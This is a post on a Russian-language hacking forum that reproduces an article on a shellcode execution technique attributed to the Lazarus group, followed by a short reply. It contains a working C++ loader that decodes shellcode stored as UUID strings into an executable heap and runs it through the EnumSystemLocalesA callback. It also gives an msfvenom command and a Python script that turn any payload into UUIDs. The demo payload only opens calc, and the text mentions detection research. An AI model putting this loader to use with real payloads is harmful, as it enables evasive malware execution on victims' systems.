• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Lazarus Shellcode Execution Method

qGodless

(L2) cache
Пользователь
Регистрация
10.07.2022
Сообщения
385
Реакции
106
Source:
On January 21st 2021, a malware sample was shared by CheckPoint research team via Twitter. The post mentions that this loader belongs to Lazarus group. The modus operandi of phishing with macro documents disguised as job descriptions (via LinkedIn), was also recently documented by ESET in their Operation In(ter)ception paper.

Re-Implementing in C

In order to experiment with the techniques used within these macro documents, we wrote a small shellcode execution harness, converting the VBA into C, to demonstrate execution of a benign calc shellcode. This may be useful for anyone wishing to study the technique or build further detection logic.

C++:
#include <Windows.h>
#include <Rpc.h>
#include <iostream>

#pragma comment(lib, "Rpcrt4.lib")

const char* uuids[] =
{
    "6850c031-6163-636c-5459-504092741551",
    "2f728b64-768b-8b0c-760c-ad8b308b7e18",
    "1aeb50b2-60b2-2948-d465-488b32488b76",
    "768b4818-4810-48ad-8b30-488b7e300357",
    "175c8b3c-8b28-1f74-2048-01fe8b541f24",
    "172cb70f-528d-ad02-813c-0757696e4575",
    "1f748bef-481c-fe01-8b34-ae4801f799ff",
    "000000d7-0000-0000-0000-000000000000",
};

int main()
{
    HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
    void* ha = HeapAlloc(hc, 0, 0x100000);
    DWORD_PTR hptr = (DWORD_PTR)ha;
    int elems = sizeof(uuids) / sizeof(uuids[0]);
   
    for (int i = 0; i < elems; i++) {
        RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);
        if (status != RPC_S_OK) {
            printf("UuidFromStringA() != S_OK\n");
            CloseHandle(ha);
            return -1;
        }
         hptr += 16;
    }
    printf("[*] Hexdump: ");
    for (int i = 0; i < elems*16; i++) {
        printf("%02X ", ((unsigned char*)ha)[i]);
    }
    EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);
    CloseHandle(ha);
    return 0;
}

How to get the uuids's?

By using msfvenom .bin payload you can use the following script to convert it to uuid's

msfvenom -p windows/x64/exec CMD=calc.exe -f raw -o calc.bin
python3 bin2uuid.py calc.bin

Python:
from uuid import UUID
import sys

if len(sys.argv) < 2:
    print("Usage: %s <shellcode_file>" % sys.argv[0])
    sys.exit(1)

with open(sys.argv[1], "rb") as f:
    chunk = f.read(16)
    print("{}const char* uuids[] =".format(' '*4))
    print("    {")
    while chunk:
        if len(chunk) < 16:
            padding = 16 - len(chunk)
            chunk = chunk + (b"\x90" * padding)
            print("{}\"{}\"".format(' '*8,UUID(bytes_le=chunk)))
            break
        print("{}\"{}\",".format(' '*8,UUID(bytes_le=chunk)))
        chunk = f.read(16)
    print("    };")

ENJOY
 
Последнее редактирование:
Пожалуйста, обратите внимание, что пользователь заблокирован
It would be nice if you post the link to the original article when copying something to the forum the next time.

But yes, storing shellcode as GUIDs is fun.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх